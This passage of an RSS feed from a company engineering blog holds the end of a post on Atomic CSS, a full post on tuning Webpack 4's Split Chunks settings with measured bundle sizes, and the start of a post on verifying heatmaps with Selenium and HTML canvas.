course.&lt;/p&gt; &lt;p&gt;It may seem that a developer might have to write same set of classes repeatedly to create the same things, but that is not true. ACSS or any Atomic CSS approach requires a templating/component system where you can reuse a piece of HTML without duplicating. We use Vue.js to build our small reusable components.&lt;/p&gt; &lt;p&gt;Of course they are some cons in ACSS, as well. For example, inside a particular component&apos;s HTML, you cannot find what any tag is about because there are no descriptive classes. This can be somewhat be fixed by using semantic tags. Basically, the pros are way too strong over its cons.&lt;/p&gt; &lt;h2 id=&quot;the-end-result&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-end-result&quot; aria-label=&quot;the end result permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The end result&lt;/h2&gt; &lt;p&gt;We just finished porting a decent size app to our new system and guess what, our CSS reduced from &lt;code class=&quot;language-text&quot;&gt;90 KB&lt;/code&gt; to just &lt;code class=&quot;language-text&quot;&gt;8 KB&lt;/code&gt;! 😱&lt;/p&gt; &lt;p&gt;That is all for this post! I encourage you to go and try out &lt;a href=&quot;https://acss.io/&quot;&gt;ACSS&lt;/a&gt; with an open mind and see if it solves your current CSS problem if any. We are happy to answer any questions you might have on our new approach, Design System etc. Do comment on this post or tweet them out to our twitter handle 👉🏼 &lt;a href=&quot;https://twitter.com/wingify_engg&quot;&gt;@wingify_engg&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Bbye!&lt;/p&gt;</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Demystifying Webpack 4 Split Chunks Plugin]]></title><description><![CDATA[Recently, we migrated one of our web apps to the Webpack 4, which decreases build time and reduces chunk size by using Split Chunks plugin…]]></description><link>https://engineering.wingify.com//posts/demystifying-split-chunks-plugin/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/demystifying-split-chunks-plugin/</guid><pubDate>Fri, 10 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, we migrated one of our web apps to the Webpack 4, which decreases build time and reduces chunk size by using Split Chunks plugin. It automatically identifies modules which should be split by heuristics and splits the chunks. This blog post deals with our efforts in understanding the mysterious Split Chunks plugin.&lt;/p&gt; &lt;h3 id=&quot;the-problem&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-problem&quot; aria-label=&quot;the problem permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Problem&lt;/h3&gt; &lt;p&gt;The problem we were facing with &lt;a href=&quot;https://webpack.js.org/plugins/split-chunks-plugin/#optimization-splitchunks&quot;&gt;default&lt;/a&gt; Split Chunks config is that a module of large size &lt;strong&gt;550 KB&lt;/strong&gt; was duplicated in 4 async chunks. So, our goal was specifically to decrease the bundle size and utilize a better code splitting mechanism in the app.&lt;/p&gt; &lt;p&gt;Our Webpack configuration file looks like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.config.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; webpack &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;webpack&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//...&lt;/span&gt; optimization&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; splitChunks&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; chunks&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;all&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We used &lt;a href=&quot;https://github.com/webpack-contrib/webpack-bundle-analyzer&quot;&gt;webpack-bundle-analyzer&lt;/a&gt; to get a nice view of our problem.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2018/08/split-chunks-duplicated-view.png&quot;&gt;&lt;/p&gt; &lt;h3 id=&quot;observation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#observation&quot; aria-label=&quot;observation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Observation&lt;/h3&gt; &lt;p&gt;By default, Split Chunks plugin only affects on-demand chunks and it split chunks based on following &lt;a href=&quot;https://webpack.js.org/plugins/split-chunks-plugin/#defaults&quot;&gt;conditions&lt;/a&gt;:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;A new chunk should be shared or containing modules should be from the node_modules folder.&lt;/li&gt; &lt;li&gt;New chunk should be bigger than 30 KB.&lt;/li&gt; &lt;li&gt;Maximum number of parallel requests when loading chunks on demand should be lower or equal to 5.&lt;/li&gt; &lt;li&gt;Maximum number of parallel requests at initial page load should be lower or equal to 3.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;In our case, a separate chunk of the large-sized library would not be created.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;What&apos;s the reasoning behind this?&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;It satisfies first and second conditions as it is being used in 4 chunks and its size (550 KB) is bigger than 30 KB so concludes that it should be in a new chunk. But it does not satisfy the third one as 5 chunks were already created at each dynamic import which is the maximum limit for async requests. We observed that the first 4 chunks include all modules which are shared among 7,6,5,5 async chunks respectively and the last one is its own chunk. Modules on which a maximum number of async chunks are dependent on have been given priority and as a library is required by only 4 async chunks, a chunk containing it would not be created.&lt;/p&gt; &lt;p&gt;When we run &lt;code class=&quot;language-text&quot;&gt;yarn build&lt;/code&gt; to build our assets, a chunk named &lt;strong&gt;vendors~async.chunk.1~async.chunk.2~async.chunk.3~async.chunk.4&lt;/strong&gt; is not found in the output:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2018/08/split-chunks-default-build-view-1.png&quot;&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2018/08/split-chunks-default-build-view-2.png&quot;&gt;&lt;/p&gt; &lt;h3 id=&quot;solutions&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solutions&quot; aria-label=&quot;solutions permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solutions&lt;/h3&gt; &lt;p&gt;We can have more control over this functionality. We can change default configuration in either or combination of the following ways:&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;Increasing &lt;a href=&quot;https://webpack.js.org/plugins/split-chunks-plugin/#splitchunks-maxasyncrequests&quot;&gt;maxAsyncRequests&lt;/a&gt; result in more chunks. A large number of requests degrades the performance but it&apos;s not a concern in HTTP/2 because of the &lt;a href=&quot;https://developers.google.com/web/fundamentals/performance/http2/&quot;&gt;request and response multiplexing&lt;/a&gt;. So, this configuration should be preferred in case of HTTP/2 only.&lt;/p&gt; &lt;p&gt;Now let’s take a look at Webpack configuration file after this change:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.config.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; webpack &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;webpack&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//...&lt;/span&gt; optimization&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; splitChunks&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; chunks&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;all&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; maxAsyncRequests&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;Increasing &lt;a href=&quot;https://webpack.js.org/plugins/split-chunks-plugin/#splitchunks-minsize&quot;&gt;minSize&lt;/a&gt; also gives the desired result. Some modules with higher usage in our app and size less than minSize would not be included in separate chunks as they all violate the second condition like in case of minSize 100 KB, modules greater than 100 KB are considered giving more possibilities for creating chunks containing large-sized modules.&lt;/p&gt; &lt;p&gt;Now let’s take a look at Webpack configuration file after this change:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.config.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; webpack &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;webpack&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//...&lt;/span&gt; optimization&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; splitChunks&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; chunks&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;all&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; minSize&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100000&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;experiment&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#experiment&quot; aria-label=&quot;experiment permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Experiment&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;We picked any two async chunks between which a large-sized third-party library (550 KB) is shared. Let&apos;s call these chunks as async.chunk.1 and async.chunk.2 and assume that chunk&apos;s name and corresponding route&apos;s name are same.&lt;/li&gt; &lt;li&gt;Loaded async.chunk.1 route first and calculated the total content size loaded.&lt;/li&gt; &lt;li&gt;Then navigated from async.chunk.1 route to async.chunk.2 route and calculated the content size again.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;&lt;strong&gt;Results with first approach(varying the maxAsyncRequest property):&lt;/strong&gt;&lt;/p&gt; &lt;pre&gt; | MaxAsyncRequests | async.chunk.1 | async.chunk.2 | |----------------------|----------------------------------|----------------------------| | 5 | 1521.6 KB | 758 KB | | 10 | 1523.76 KB | 79.1 KB | | 15 | 1524 KB | 79.1 KB | | 20 | 1524.3 KB | 79.1 KB | &lt;/pre&gt; &lt;p&gt;After this change our bundles look like this:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2018/08/split-chunks-maxAsyncRequests-view.png&quot;&gt;&lt;/p&gt; &lt;p&gt;With this configuration, a separate chunk named &lt;strong&gt;vendors~async.chunk.1~async.chunk.2~async.chunk.3~async.chunk.4&lt;/strong&gt; is created which is shown below:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2018/08/split-chunks-maxAsyncRequests-build-view.png&quot;&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Results with second approach(varying the minSize property):&lt;/strong&gt;&lt;/p&gt; &lt;pre&gt; | MinSize | async.chunk.1 | async.chunk.2 | |---------------------|----------------------------------|----------------------------| | 30 KB | 1521.6 KB | 758 KB | | 50 KB | 1521.6 KB | 188 KB | | 100 KB | 1521.4 KB | 78.4 KB | &lt;/pre&gt; &lt;p&gt;After this change our bundles look like this:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2018/08/split-chunks-minSize-view.png&quot;&gt;&lt;/p&gt; &lt;p&gt;In this case too, a large-sized library is extracted into a separate chunk named &lt;strong&gt;vendors~async.chunk.1~async.chunk.2~async.chunk.3~async.chunk.4&lt;/strong&gt; which is shown below:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2018/08/split-chunks-minSize-build-view.png&quot;&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: async.chunk.2 chunk size in case of 50 KB minSize configuration is 188 KB whereas its size is reduced to 78.4 KB in case of 100 KB minSize configuration. This is because one more module of size 146 KB that are shared among four other chunks are extracted into a separate chunk decreasing overall bundle size to 78.4 KB (Awesome!).&lt;/p&gt; &lt;h3 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h3&gt; &lt;p&gt;Increasing minSize and maxAsyncRequests both decreases the size of async.chunk.2 chunk.&lt;/p&gt; &lt;p&gt;The second approach can result in multiple large-sized chunks, each one having multiple duplicated small-sized modules. On the other hand, the first approach will result in a large number of small chunks which do not have any duplicated module. Loading multiple small chunks increases the loading time of page but with HTTP/2, it will work efficiently.&lt;/p&gt; &lt;p&gt;Finally, we achieved what we wanted, a big library is now separated from our bundles and lazy loaded on demand. Thanks to &lt;a href=&quot;https://twitter.com/dinkarpundir&quot;&gt;Dinkar Pundir&lt;/a&gt; for helping me in solving the above problem. If you have any doubt feel free to drop a comment or tweet us at &lt;a href=&quot;https://twitter.com/wingify_engg&quot;&gt;@wingify_engg&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Happy Chunking...&lt;/strong&gt; !!&lt;/p&gt;</content:encoded><author>Surbhi Mahajan</author></item><item><title><![CDATA[Automated Heatmap Verification E2E using Selenium and Canvas]]></title><description><![CDATA[Heatmaps record visitor clicks on the live state of your website, which can be used to interpret user behavior on elements like modal boxes…]]></description><link>https://engineering.wingify.com//posts/automated-heatmap-verification/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/automated-heatmap-verification/</guid><pubDate>Tue, 03 Apr 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heatmaps record visitor clicks on the live state of your website, which can be used to interpret user behavior on elements like modal boxes, pages behind logins, and dynamic URLs.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2018/04/heatmap.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;&lt;b&gt;VWO Heatmap in action on vwo.com&lt;/b&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;But here comes a question, how to verify Heatmap E2E using automation? How to check if clicks are being plotted correctly? How to check if there is no data loss while plotting the clicks?&lt;/p&gt; &lt;p&gt;The answer to above questions is &lt;a href=&quot;https://en.wikipedia.org/wiki/Canvas_element&quot;&gt;HTML Canvas&lt;/a&gt;. As VWO heatmaps are rendered on HTML canvas, we decided to leverage that to verify Heatmap E2E as well. The best part of using Canvas is that, it can be integrated easily with your existing Selenium scripts.&lt;/p&gt; &lt;h2 id=&quot;how-can-canvas-be-used-for-heatmap-automation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-can-canvas-be-used-for-heatmap-automation&quot; aria-label=&quot;how can canvas be used for heatmap automation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How can Canvas be used for Heatmap Automation?&lt;/h2&gt; &lt;p&gt;There are two phases in order to verify if the heatmaps are working or not.&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;The first phase is to plot clicks on the test page and store the clicks co-ordinates. This can be easily done using Selenium.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;//get elements location from the top of DOM&lt;/span&gt; element&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getLocation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//get elements height and width&lt;/span&gt; element&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getSize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//store element’s center coordinates w.r.t. top left corner of DOM in array &lt;/span&gt; clickDataArray&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Coordinates&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;floor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;location&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;width &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;floor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;location&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;y &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;height &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;In this function, we are simply finding the center coordinates of an element where we have clicked and storing it in to an array. These stored coordinates would be further used to check if the clicks are plotted using the canvas functions or not.&lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;The second phase is to leverage canvas functions and the co-ordinate data stored in order to verify if heatmaps are plotted correctly. We simply check if heatmap canvas is empty and if it is empty, we would not check further.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;exports&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable 